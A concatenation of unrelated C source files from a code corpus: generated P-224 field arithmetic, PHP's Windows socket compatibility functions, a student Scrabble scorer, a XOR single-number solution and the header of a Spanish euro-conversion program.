uint64_t x78;
fiat_p224_uint1 x79;
fiat_p224_addcarryx_u64(&x78, &x79, x77, x72, 0x0);
uint64_t x80;
uint64_t x81;
fiat_p224_mulx_u64(&x80, &x81, x74, UINT64_C(0xffffffffffffffff));
uint64_t x82;
uint64_t x83;
fiat_p224_mulx_u64(&x82, &x83, x80, UINT32_C(0xffffffff));
uint64_t x84;
uint64_t x85;
fiat_p224_mulx_u64(&x84, &x85, x80, UINT64_C(0xffffffffffffffff));
uint64_t x86;
uint64_t x87;
fiat_p224_mulx_u64(&x86, &x87, x80, UINT64_C(0xffffffff00000000));
uint64_t x88;
fiat_p224_uint1 x89;
fiat_p224_addcarryx_u64(&x88, &x89, 0x0, x87, x84);
uint64_t x90;
fiat_p224_uint1 x91;
fiat_p224_addcarryx_u64(&x90, &x91, x89, x85, x82);
uint64_t x92;
fiat_p224_uint1 x93;
fiat_p224_addcarryx_u64(&x92, &x93, 0x0, x74, x80);
uint64_t x94;
fiat_p224_uint1 x95;
fiat_p224_addcarryx_u64(&x94, &x95, x93, x76, x86);
uint64_t x96;
fiat_p224_uint1 x97;
fiat_p224_addcarryx_u64(&x96, &x97, x95, x78, x88);
uint64_t x98;
fiat_p224_uint1 x99;
fiat_p224_addcarryx_u64(&x98, &x99, x97, (x79 + (x73 + (x65 + x57))), x90);
uint64_t x100 = (x99 + (x91 + x83));
uint64_t x101;
fiat_p224_uint1 x102;
fiat_p224_subborrowx_u64(&x101, &x102, 0x0, x94, 0x1);
uint64_t x103;
fiat_p224_uint1 x104;
fiat_p224_subborrowx_u64(&x103, &x104, x102, x96, UINT64_C(0xffffffff00000000));
uint64_t x105;
fiat_p224_uint1 x106;
fiat_p224_subborrowx_u64(&x105, &x106, x104, x98, UINT64_C(0xffffffffffffffff));
uint64_t x107;
fiat_p224_uint1 x108;
fiat_p224_subborrowx_u64(&x107, &x108, x106, x100, UINT32_C(0xffffffff));
uint64_t x109;
fiat_p224_uint1 x110;
fiat_p224_subborrowx_u64(&x109, &x110, x108, 0x0, 0x0);
uint64_t x111;
fiat_p224_cmovznz_u64(&x111, x110, x101, x94);
uint64_t x112;
fiat_p224_cmovznz_u64(&x112, x110, x103, x96);
uint64_t x113;
fiat_p224_cmovznz_u64(&x113, x110, x105, x98);
uint64_t x114;
fiat_p224_cmovznz_u64(&x114, x110, x107, x100);
out1[0] = x111;
out1[1] = x112;
out1[2] = x113;
out1[3] = x114;
}
/*
* The function fiat_p224_to_montgomery translates a field element into the Montgomery domain.
* Preconditions:
* 0 ≤ eval arg1 < m
* Postconditions:
* eval (from_montgomery out1) mod m = eval arg1 mod m
* 0 ≤ eval out1 < m
*
* Input Bounds:
* arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* Output Bounds:
* out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
*/
static void fiat_p224_to_montgomery(uint64_t out1[4], const uint64_t arg1[4]) {
uint64_t x1 = (arg1[1]);
uint64_t x2 = (arg1[2]);
uint64_t x3 = (arg1[3]);
uint64_t x4 = (arg1[0]);
uint64_t x5;
uint64_t x6;
fiat_p224_mulx_u64(&x5, &x6, x4, UINT32_C(0xffffffff));
uint64_t x7;
uint64_t x8;
fiat_p224_mulx_u64(&x7, &x8, x4, UINT64_C(0xfffffffe00000000));
uint64_t x9;
uint64_t x10;
fiat_p224_mulx_u64(&x9, &x10, x4, UINT64_C(0xffffffff00000000));
uint64_t x11;
uint64_t x12;
fiat_p224_mulx_u64(&x11, &x12, x4, UINT64_C(0xffffffff00000001));
uint64_t x13;
fiat_p224_uint1 x14;
fiat_p224_addcarryx_u64(&x13, &x14, 0x0, x12, x9);
uint64_t x15;
fiat_p224_uint1 x16;
fiat_p224_addcarryx_u64(&x15, &x16, x14, x10, x7);
uint64_t x17;
fiat_p224_uint1 x18;
fiat_p224_addcarryx_u64(&x17, &x18, x16, x8, x5);
uint64_t x19;
uint64_t x20;
fiat_p224_mulx_u64(&x19, &x20, x11, UINT64_C(0xffffffffffffffff));
uint64_t x21;
uint64_t x22;
fiat_p224_mulx_u64(&x21, &x22, x19, UINT32_C(0xffffffff));
uint64_t x23;
uint64_t x24;
fiat_p224_mulx_u64(&x23, &x24, x19, UINT64_C(0xffffffffffffffff));
uint64_t x25;
uint64_t x26;
fiat_p224_mulx_u64(&x25, &x26, x19, UINT64_C(0xffffffff00000000));
uint64_t x27;
fiat_p224_uint1 x28;
fiat_p224_addcarryx_u64(&x27, &x28, 0x0, x26, x23);
uint64_t x29;
fiat_p224_uint1 x30;
fiat_p224_addcarryx_u64(&x29, &x30, x28, x24, x21);
uint64_t x31;
fiat_p224_uint1 x32;
fiat_p224_addcarryx_u64(&x31, &x32, 0x0, x11, x19);
uint64_t x33;
fiat_p224_uint1 x34;
fiat_p224_addcarryx_u64(&x33, &x34, x32, x13, x25);
uint64_t x35;
fiat_p224_uint1 x36;
fiat_p224_addcarryx_u64(&x35, &x36, x34, x15, x27);
uint64_t x37;
fiat_p224_uint1 x38;
fiat_p224_addcarryx_u64(&x37, &x38, x36, x17, x29);
uint64_t x39;
uint64_t x40;
fiat_p224_mulx_u64(&x39, &x40, x1, UINT32_C(0xffffffff));
uint64_t x41;
uint64_t x42;
fiat_p224_mulx_u64(&x41, &x42, x1, UINT64_C(0xfffffffe00000000));
uint64_t x43;
uint64_t x44;
fiat_p224_mulx_u64(&x43, &x44, x1, UINT64_C(0xffffffff00000000));
uint64_t x45;
uint64_t x46;
fiat_p224_mulx_u64(&x45, &x46, x1, UINT64_C(0xffffffff00000001));
uint64_t x47;
fiat_p224_uint1 x48;
fiat_p224_addcarryx_u64(&x47, &x48, 0x0, x46, x43);
uint64_t x49;
fiat_p224_uint1 x50;
fiat_p224_addcarryx_u64(&x49, &x50, x48, x44, x41);
uint64_t x51;
fiat_p224_uint1 x52;
fiat_p224_addcarryx_u64(&x51, &x52, x50, x42, x39);
uint64_t x53;
fiat_p224_uint1 x54;
fiat_p224_addcarryx_u64(&x53, &x54, 0x0, x33, x45);
uint64_t x55;
fiat_p224_uint1 x56;
fiat_p224_addcarryx_u64(&x55, &x56, x54, x35, x47);
uint64_t x57;
fiat_p224_uint1 x58;
fiat_p224_addcarryx_u64(&x57, &x58, x56, x37, x49);
uint64_t x59;
fiat_p224_uint1 x60;
fiat_p224_addcarryx_u64(&x59, &x60, x58, ((x38 + (x18 + x6)) + (x30 + x22)), x51);
uint64_t x61;
uint64_t x62;
fiat_p224_mulx_u64(&x61, &x62, x53, UINT64_C(0xffffffffffffffff));
uint64_t x63;
uint64_t x64;
fiat_p224_mulx_u64(&x63, &x64, x61, UINT32_C(0xffffffff));
uint64_t x65;
uint64_t x66;
fiat_p224_mulx_u64(&x65, &x66, x61, UINT64_C(0xffffffffffffffff));
uint64_t x67;
uint64_t x68;
fiat_p224_mulx_u64(&x67, &x68, x61, UINT64_C(0xffffffff00000000));
uint64_t x69;
fiat_p224_uint1 x70;
fiat_p224_addcarryx_u64(&x69, &x70, 0x0, x68, x65);
uint64_t x71;
fiat_p224_uint1 x72;
fiat_p224_addcarryx_u64(&x71, &x72, x70, x66, x63);
uint64_t x73;
fiat_p224_uint1 x74;
fiat_p224_addcarryx_u64(&x73, &x74, 0x0, x53, x61);
uint64_t x75;
fiat_p224_uint1 x76;
fiat_p224_addcarryx_u64(&x75, &x76, x74, x55, x67);
uint64_t x77;
fiat_p224_uint1 x78;
fiat_p224_addcarryx_u64(&x77, &x78, x76, x57, x69);
uint64_t x79;
fiat_p224_uint1 x80;
fiat_p224_addcarryx_u64(&x79, &x80, x78, x59, x71);
uint64_t x81;
uint64_t x82;
fiat_p224_mulx_u64(&x81, &x82, x2, UINT32_C(0xffffffff));
uint64_t x83;
uint64_t x84;
fiat_p224_mulx_u64(&x83, &x84, x2, UINT64_C(0xfffffffe00000000));
uint64_t x85;
uint64_t x86;
fiat_p224_mulx_u64(&x85, &x86, x2, UINT64_C(0xffffffff00000000));
uint64_t x87;
uint64_t x88;
fiat_p224_mulx_u64(&x87, &x88, x2, UINT64_C(0xffffffff00000001));
uint64_t x89;
fiat_p224_uint1 x90;
fiat_p224_addcarryx_u64(&x89, &x90, 0x0, x88, x85);
uint64_t x91;
fiat_p224_uint1 x92;
fiat_p224_addcarryx_u64(&x91, &x92, x90, x86, x83);
uint64_t x93;
fiat_p224_uint1 x94;
fiat_p224_addcarryx_u64(&x93, &x94, x92, x84, x81);
uint64_t x95;
fiat_p224_uint1 x96;
fiat_p224_addcarryx_u64(&x95, &x96, 0x0, x75, x87);
uint64_t x97;
fiat_p224_uint1 x98;
fiat_p224_addcarryx_u64(&x97, &x98, x96, x77, x89);
uint64_t x99;
fiat_p224_uint1 x100;
fiat_p224_addcarryx_u64(&x99, &x100, x98, x79, x91);
uint64_t x101;
fiat_p224_uint1 x102;
fiat_p224_addcarryx_u64(&x101, &x102, x100, ((x80 + (x60 + (x52 + x40))) + (x72 + x64)), x93);
uint64_t x103;
uint64_t x104;
fiat_p224_mulx_u64(&x103, &x104, x95, UINT64_C(0xffffffffffffffff));
uint64_t x105;
uint64_t x106;
fiat_p224_mulx_u64(&x105, &x106, x103, UINT32_C(0xffffffff));
uint64_t x107;
uint64_t x108;
fiat_p224_mulx_u64(&x107, &x108, x103, UINT64_C(0xffffffffffffffff));
uint64_t x109;
uint64_t x110;
fiat_p224_mulx_u64(&x109, &x110, x103, UINT64_C(0xffffffff00000000));
uint64_t x111;
fiat_p224_uint1 x112;
fiat_p224_addcarryx_u64(&x111, &x112, 0x0, x110, x107);
uint64_t x113;
fiat_p224_uint1 x114;
fiat_p224_addcarryx_u64(&x113, &x114, x112, x108, x105);
uint64_t x115;
fiat_p224_uint1 x116;
fiat_p224_addcarryx_u64(&x115, &x116, 0x0, x95, x103);
uint64_t x117;
fiat_p224_uint1 x118;
fiat_p224_addcarryx_u64(&x117, &x118, x116, x97, x109);
uint64_t x119;
fiat_p224_uint1 x120;
fiat_p224_addcarryx_u64(&x119, &x120, x118, x99, x111);
uint64_t x121;
fiat_p224_uint1 x122;
fiat_p224_addcarryx_u64(&x121, &x122, x120, x101, x113);
uint64_t x123;
uint64_t x124;
fiat_p224_mulx_u64(&x123, &x124, x3, UINT32_C(0xffffffff));
uint64_t x125;
uint64_t x126;
fiat_p224_mulx_u64(&x125, &x126, x3, UINT64_C(0xfffffffe00000000));
uint64_t x127;
uint64_t x128;
fiat_p224_mulx_u64(&x127, &x128, x3, UINT64_C(0xffffffff00000000));
uint64_t x129;
uint64_t x130;
fiat_p224_mulx_u64(&x129, &x130, x3, UINT64_C(0xffffffff00000001));
uint64_t x131;
fiat_p224_uint1 x132;
fiat_p224_addcarryx_u64(&x131, &x132, 0x0, x130, x127);
uint64_t x133;
fiat_p224_uint1 x134;
fiat_p224_addcarryx_u64(&x133, &x134, x132, x128, x125);
uint64_t x135;
fiat_p224_uint1 x136;
fiat_p224_addcarryx_u64(&x135, &x136, x134, x126, x123);
uint64_t x137;
fiat_p224_uint1 x138;
fiat_p224_addcarryx_u64(&x137, &x138, 0x0, x117, x129);
uint64_t x139;
fiat_p224_uint1 x140;
fiat_p224_addcarryx_u64(&x139, &x140, x138, x119, x131);
uint64_t x141;
fiat_p224_uint1 x142;
fiat_p224_addcarryx_u64(&x141, &x142, x140, x121, x133);
uint64_t x143;
fiat_p224_uint1 x144;
fiat_p224_addcarryx_u64(&x143, &x144, x142, ((x122 + (x102 + (x94 + x82))) + (x114 + x106)), x135);
uint64_t x145;
uint64_t x146;
fiat_p224_mulx_u64(&x145, &x146, x137, UINT64_C(0xffffffffffffffff));
uint64_t x147;
uint64_t x148;
fiat_p224_mulx_u64(&x147, &x148, x145, UINT32_C(0xffffffff));
uint64_t x149;
uint64_t x150;
fiat_p224_mulx_u64(&x149, &x150, x145, UINT64_C(0xffffffffffffffff));
uint64_t x151;
uint64_t x152;
fiat_p224_mulx_u64(&x151, &x152, x145, UINT64_C(0xffffffff00000000));
uint64_t x153;
fiat_p224_uint1 x154;
fiat_p224_addcarryx_u64(&x153, &x154, 0x0, x152, x149);
uint64_t x155;
fiat_p224_uint1 x156;
fiat_p224_addcarryx_u64(&x155, &x156, x154, x150, x147);
uint64_t x157;
fiat_p224_uint1 x158;
fiat_p224_addcarryx_u64(&x157, &x158, 0x0, x137, x145);
uint64_t x159;
fiat_p224_uint1 x160;
fiat_p224_addcarryx_u64(&x159, &x160, x158, x139, x151);
uint64_t x161;
fiat_p224_uint1 x162;
fiat_p224_addcarryx_u64(&x161, &x162, x160, x141, x153);
uint64_t x163;
fiat_p224_uint1 x164;
fiat_p224_addcarryx_u64(&x163, &x164, x162, x143, x155);
uint64_t x165 = ((x164 + (x144 + (x136 + x124))) + (x156 + x148));
uint64_t x166;
fiat_p224_uint1 x167;
fiat_p224_subborrowx_u64(&x166, &x167, 0x0, x159, 0x1);
uint64_t x168;
fiat_p224_uint1 x169;
fiat_p224_subborrowx_u64(&x168, &x169, x167, x161, UINT64_C(0xffffffff00000000));
uint64_t x170;
fiat_p224_uint1 x171;
fiat_p224_subborrowx_u64(&x170, &x171, x169, x163, UINT64_C(0xffffffffffffffff));
uint64_t x172;
fiat_p224_uint1 x173;
fiat_p224_subborrowx_u64(&x172, &x173, x171, x165, UINT32_C(0xffffffff));
uint64_t x174;
fiat_p224_uint1 x175;
fiat_p224_subborrowx_u64(&x174, &x175, x173, 0x0, 0x0);
uint64_t x176;
fiat_p224_cmovznz_u64(&x176, x175, x166, x159);
uint64_t x177;
fiat_p224_cmovznz_u64(&x177, x175, x168, x161);
uint64_t x178;
fiat_p224_cmovznz_u64(&x178, x175, x170, x163);
uint64_t x179;
fiat_p224_cmovznz_u64(&x179, x175, x172, x165);
out1[0] = x176;
out1[1] = x177;
out1[2] = x178;
out1[3] = x179;
}
/*
* The function fiat_p224_nonzero outputs a single non-zero word if the input is non-zero and zero otherwise.
* Preconditions:
* 0 ≤ eval arg1 < m
* Postconditions:
* out1 = 0 ↔ eval (from_montgomery arg1) mod m = 0
*
* Input Bounds:
* arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* Output Bounds:
* out1: [0x0 ~> 0xffffffffffffffff]
*/
static void fiat_p224_nonzero(uint64_t* out1, const uint64_t arg1[4]) {
uint64_t x1 = ((arg1[0]) | ((arg1[1]) | ((arg1[2]) | ((arg1[3]) | (uint64_t)0x0))));
*out1 = x1;
}
/*
* The function fiat_p224_selectznz is a multi-limb conditional select.
* Postconditions:
* eval out1 = (if arg1 = 0 then eval arg2 else eval arg3)
*
* Input Bounds:
* arg1: [0x0 ~> 0x1]
* arg2: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* arg3: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* Output Bounds:
* out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
*/
static void fiat_p224_selectznz(uint64_t out1[4], fiat_p224_uint1 arg1, const uint64_t arg2[4], const uint64_t arg3[4]) {
uint64_t x1;
fiat_p224_cmovznz_u64(&x1, arg1, (arg2[0]), (arg3[0]));
uint64_t x2;
fiat_p224_cmovznz_u64(&x2, arg1, (arg2[1]), (arg3[1]));
uint64_t x3;
fiat_p224_cmovznz_u64(&x3, arg1, (arg2[2]), (arg3[2]));
uint64_t x4;
fiat_p224_cmovznz_u64(&x4, arg1, (arg2[3]), (arg3[3]));
out1[0] = x1;
out1[1] = x2;
out1[2] = x3;
out1[3] = x4;
}
/*
* The function fiat_p224_to_bytes serializes a field element in the Montgomery domain to bytes in little-endian order.
* Preconditions:
* 0 ≤ eval arg1 < m
* Postconditions:
* out1 = map (λ x, ⌊((eval arg1 mod m) mod 2^(8 * (x + 1))) / 2^(8 * x)⌋) [0..31]
*
* Input Bounds:
* arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffff]]
* Output Bounds:
* out1: [[0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0x0], [0x0 ~> 0x0], [0x0 ~> 0x0], [0x0 ~> 0x0]]
*/
static void fiat_p224_to_bytes(uint8_t out1[32], const uint64_t arg1[4]) {
uint64_t x1 = (arg1[3]);
uint64_t x2 = (arg1[2]);
uint64_t x3 = (arg1[1]);
uint64_t x4 = (arg1[0]);
uint64_t x5 = (x4 >> 8);
uint8_t x6 = (uint8_t)(x4 & UINT8_C(0xff));
uint64_t x7 = (x5 >> 8);
uint8_t x8 = (uint8_t)(x5 & UINT8_C(0xff));
uint64_t x9 = (x7 >> 8);
uint8_t x10 = (uint8_t)(x7 & UINT8_C(0xff));
uint64_t x11 = (x9 >> 8);
uint8_t x12 = (uint8_t)(x9 & UINT8_C(0xff));
uint64_t x13 = (x11 >> 8);
uint8_t x14 = (uint8_t)(x11 & UINT8_C(0xff));
uint64_t x15 = (x13 >> 8);
uint8_t x16 = (uint8_t)(x13 & UINT8_C(0xff));
uint8_t x17 = (uint8_t)(x15 >> 8);
uint8_t x18 = (uint8_t)(x15 & UINT8_C(0xff));
uint8_t x19 = (uint8_t)(x17 & UINT8_C(0xff));
uint64_t x20 = (x3 >> 8);
uint8_t x21 = (uint8_t)(x3 & UINT8_C(0xff));
uint64_t x22 = (x20 >> 8);
uint8_t x23 = (uint8_t)(x20 & UINT8_C(0xff));
uint64_t x24 = (x22 >> 8);
uint8_t x25 = (uint8_t)(x22 & UINT8_C(0xff));
uint64_t x26 = (x24 >> 8);
uint8_t x27 = (uint8_t)(x24 & UINT8_C(0xff));
uint64_t x28 = (x26 >> 8);
uint8_t x29 = (uint8_t)(x26 & UINT8_C(0xff));
uint64_t x30 = (x28 >> 8);
uint8_t x31 = (uint8_t)(x28 & UINT8_C(0xff));
uint8_t x32 = (uint8_t)(x30 >> 8);
uint8_t x33 = (uint8_t)(x30 & UINT8_C(0xff));
uint8_t x34 = (uint8_t)(x32 & UINT8_C(0xff));
uint64_t x35 = (x2 >> 8);
uint8_t x36 = (uint8_t)(x2 & UINT8_C(0xff));
uint64_t x37 = (x35 >> 8);
uint8_t x38 = (uint8_t)(x35 & UINT8_C(0xff));
uint64_t x39 = (x37 >> 8);
uint8_t x40 = (uint8_t)(x37 & UINT8_C(0xff));
uint64_t x41 = (x39 >> 8);
uint8_t x42 = (uint8_t)(x39 & UINT8_C(0xff));
uint64_t x43 = (x41 >> 8);
uint8_t x44 = (uint8_t)(x41 & UINT8_C(0xff));
uint64_t x45 = (x43 >> 8);
uint8_t x46 = (uint8_t)(x43 & UINT8_C(0xff));
uint8_t x47 = (uint8_t)(x45 >> 8);
uint8_t x48 = (uint8_t)(x45 & UINT8_C(0xff));
uint8_t x49 = (uint8_t)(x47 & UINT8_C(0xff));
uint64_t x50 = (x1 >> 8);
uint8_t x51 = (uint8_t)(x1 & UINT8_C(0xff));
uint64_t x52 = (x50 >> 8);
uint8_t x53 = (uint8_t)(x50 & UINT8_C(0xff));
uint8_t x54 = (uint8_t)(x52 >> 8);
uint8_t x55 = (uint8_t)(x52 & UINT8_C(0xff));
uint8_t x56 = (uint8_t)(x54 & UINT8_C(0xff));
out1[0] = x6;
out1[1] = x8;
out1[2] = x10;
out1[3] = x12;
out1[4] = x14;
out1[5] = x16;
out1[6] = x18;
out1[7] = x19;
out1[8] = x21;
out1[9] = x23;
out1[10] = x25;
out1[11] = x27;
out1[12] = x29;
out1[13] = x31;
out1[14] = x33;
out1[15] = x34;
out1[16] = x36;
out1[17] = x38;
out1[18] = x40;
out1[19] = x42;
out1[20] = x44;
out1[21] = x46;
out1[22] = x48;
out1[23] = x49;
out1[24] = x51;
out1[25] = x53;
out1[26] = x55;
out1[27] = x56;
out1[28] = 0x0;
out1[29] = 0x0;
out1[30] = 0x0;
out1[31] = 0x0;
}
/*
* The function fiat_p224_from_bytes deserializes a field element in the Montgomery domain from bytes in little-endian order.
* Preconditions:
* 0 ≤ bytes_eval arg1 < m
* Postconditions:
* eval out1 mod m = bytes_eval arg1 mod m
* 0 ≤ eval out1 < m
*
* Input Bounds:
* arg1: [[0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0x0], [0x0 ~> 0x0], [0x0 ~> 0x0], [0x0 ~> 0x0]]
* Output Bounds:
* out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffff]]
*/
static void fiat_p224_from_bytes(uint64_t out1[4], const uint8_t arg1[32]) {
uint64_t x1 = ((uint64_t)(arg1[27]) << 24);
uint64_t x2 = ((uint64_t)(arg1[26]) << 16);
uint64_t x3 = ((uint64_t)(arg1[25]) << 8);
uint8_t x4 = (arg1[24]);
uint64_t x5 = ((uint64_t)(arg1[23]) << 56);
uint64_t x6 = ((uint64_t)(arg1[22]) << 48);
uint64_t x7 = ((uint64_t)(arg1[21]) << 40);
uint64_t x8 = ((uint64_t)(arg1[20]) << 32);
uint64_t x9 = ((uint64_t)(arg1[19]) << 24);
uint64_t x10 = ((uint64_t)(arg1[18]) << 16);
uint64_t x11 = ((uint64_t)(arg1[17]) << 8);
uint8_t x12 = (arg1[16]);
uint64_t x13 = ((uint64_t)(arg1[15]) << 56);
uint64_t x14 = ((uint64_t)(arg1[14]) << 48);
uint64_t x15 = ((uint64_t)(arg1[13]) << 40);
uint64_t x16 = ((uint64_t)(arg1[12]) << 32);
uint64_t x17 = ((uint64_t)(arg1[11]) << 24);
uint64_t x18 = ((uint64_t)(arg1[10]) << 16);
uint64_t x19 = ((uint64_t)(arg1[9]) << 8);
uint8_t x20 = (arg1[8]);
uint64_t x21 = ((uint64_t)(arg1[7]) << 56);
uint64_t x22 = ((uint64_t)(arg1[6]) << 48);
uint64_t x23 = ((uint64_t)(arg1[5]) << 40);
uint64_t x24 = ((uint64_t)(arg1[4]) << 32);
uint64_t x25 = ((uint64_t)(arg1[3]) << 24);
uint64_t x26 = ((uint64_t)(arg1[2]) << 16);
uint64_t x27 = ((uint64_t)(arg1[1]) << 8);
uint8_t x28 = (arg1[0]);
uint64_t x29 = (x28 + (x27 + (x26 + (x25 + (x24 + (x23 + (x22 + x21)))))));
uint64_t x30 = (x29 & UINT64_C(0xffffffffffffffff));
uint64_t x31 = (x4 + (x3 + (x2 + x1)));
uint64_t x32 = (x12 + (x11 + (x10 + (x9 + (x8 + (x7 + (x6 + x5)))))));
uint64_t x33 = (x20 + (x19 + (x18 + (x17 + (x16 + (x15 + (x14 + x13)))))));
uint64_t x34 = (x33 & UINT64_C(0xffffffffffffffff));
uint64_t x35 = (x32 & UINT64_C(0xffffffffffffffff));
out1[0] = x30;
out1[1] = x34;
out1[2] = x35;
out1[3] = x31;
}
|
the_stack_data/154552.c | /*
+----------------------------------------------------------------------+
| PHP Version 5 |
+----------------------------------------------------------------------+
| Copyright (c) 1997-2007 The PHP Group |
+----------------------------------------------------------------------+
| This source file is subject to version 3.01 of the PHP license, |
| that is bundled with this package in the file LICENSE, and is |
| available through the world-wide-web at the following url: |
| http://www.php.net/license/3_01.txt |
| If you did not receive a copy of the PHP license and are unable to |
| obtain it through the world-wide-web, please send a note to |
| [email protected] so we can mail you a copy immediately. |
+----------------------------------------------------------------------+
| Authors: Chris Vandomelen <[email protected]> |
| Sterling Hughes <[email protected]> |
| |
| WinSock: Daniel Beulshausen <[email protected]> |
+----------------------------------------------------------------------+
*/
/* $Id: php_sockets_win.c,v 1.12.2.1.2.1 2007/01/01 09:36:07 sebastian Exp $ */
#ifdef PHP_WIN32
#include <stdio.h>
#include <fcntl.h>
#include "php.h"
#include "php_sockets.h"
#include "php_sockets_win.h"
int socketpair(int domain, int type, int protocol, SOCKET sock[2]) {
struct sockaddr_in address;
SOCKET redirect;
int size = sizeof(address);
if(domain != AF_INET) {
set_errno(WSAENOPROTOOPT);
return -1;
}
sock[0] = socket(domain, type, protocol);
address.sin_addr.s_addr = INADDR_ANY;
address.sin_family = AF_INET;
address.sin_port = 0;
bind(sock[0], (struct sockaddr*)&address, sizeof(address));
if(getsockname(sock[0], (struct sockaddr *)&address, &size) != 0) {
}
listen(sock[0], 2);
sock[1] = socket(domain, type, protocol);
address.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
connect(sock[1], (struct sockaddr*)&address, sizeof(address));
redirect = accept(sock[0],(struct sockaddr*)&address, &size);
close(sock[0]);
sock[0] = redirect;
if(sock[0] == INVALID_SOCKET ) {
close(sock[0]);
close(sock[1]);
set_errno(WSAECONNABORTED);
return -1;
}
return 0;
}
int inet_aton(const char *cp, struct in_addr *inp) {
inp->s_addr = inet_addr(cp);
if (inp->s_addr == INADDR_NONE) {
return 0;
}
return 1;
}
int fcntl(int fd, int cmd, ...) {
va_list va;
int retval, io, mode;
va_start(va, cmd);
switch(cmd) {
case F_GETFL:
case F_SETFD:
case F_GETFD:
default:
retval = -1;
break;
case F_SETFL:
io = va_arg(va, int);
mode = io == O_NONBLOCK ? 1 : 0;
retval = ioctlsocket(fd, io, &mode);
break;
}
va_end(va);
return retval;
}
#endif
|
the_stack_data/35929.c | #include <ctype.h>
#include <stdio.h>
#include <string.h>
int POINTS[] = {1, 3, 3, 2, 1, 4, 2, 4, 1, 8, 5, 1, 3, 1, 1, 3, 10, 1, 1, 1, 1, 4, 4, 8, 4, 10};
int compute_score(char* word);
int points_check(char* word, char point[], int size);
int main(void)
{
char word1[100], word2[100];
// Get input words from both players
printf("Player 1: ");
scanf("%s", word1);
// printf("Word 1 is %s\n", word1);
printf("Player 2: ");
scanf("%s", word2);
// printf("Word 2 is %s\n", word2);
// Score both words
int score1 = compute_score(word1);
int score2 = compute_score(word2);
// TODO: Print the winner
if ( score1 > score2 ){
printf("Player one won.\n");
} else if ( score1 == score2){
printf("They tied.\n");
} else {
printf("Player two won.\n");
}
}
int compute_score(char* word)
{
int score;
// TODO: Compute and return score for string
// a, e, i, l, n, o, r, s, t, u
char point1 [20] = {'A', 'a', 'E', 'I', 'L', 'N', 'O', 'R', 'S', 'T', 'U', 'e', 'i', 'l', 'n', 'o', 'r', 's', 't', 'u'};
// b, c, m, p
char point3 [8] = {'B','C', 'M', 'P', 'b', 'c', 'm', 'p'};
// d, g
char point2 [4] = {'D', 'G', 'd', 'g'};
// f, h, v, w, y
char point4 [10] = {'F', 'H', 'V', 'W', 'Y', 'f', 'h', 'w', 'v', 'y'};
char point5 [2] = {'K', 'k'};
char point8 [4] = {'J', 'X', 'j', 'x'};
char point10 [4] = {'Q', 'Z', 'q', 'z'};
score = points_check(word, point1, 20) + points_check(word, point3, 8)*3 + points_check(word, point2, 4)*2 + points_check(word, point4, 10)*4 + points_check(word, point5, 2)*5 + points_check(word, point8, 4)*8 + points_check(word, point10, 4)*10;
// printf("Score is: %i.\n", score);
return score;
}
int points_check(char word[], char point[], int size)
{
// printf("check: %c\n", word[0]);
// printf("point: %c\n", point[0]);
// printf("length of array is : %lu", strlen(point));
int points = 0;
for (int i = 0; i < strlen(word); i++){
// printf("i is %i\n", i);
for (int j = 0; j < size; j++){
// printf("j is %i\n", j);
if ( word[i] == point[j] ){
points += 1;
}
}
}
// printf("point is %i\n", points);
return points;
} |
the_stack_data/314700.c | int singleNumber(int* nums, int numsSize){
int i, result = 0;
for(i=0; i<numsSize; ++i) result ^= nums[i];
return result;
} |
the_stack_data/62638943.c | /*
Programa: lab24_2.c
Objetivo: Programa para la conversion de EUR en USD,JPY,
GBP y CHF.
Resultados: Se mostrará el resultado de la conversion en
las monedas definidas anteriormente
Fecha: Marzo 2021
Autor: Gustavo Gutierrez Martin
Versión: 1.0.0
*/
#include<stdio.h>
/**
* Obtiene los Dolares y los Centavos a partir de la entrada.
*
* @param entrada Euros introducidos por el usuario
* @param dolares Dolares obtenidos - por referencia
* @param centavos Centavos obtenidos - por referencia
* @return no devuelve nada
*/
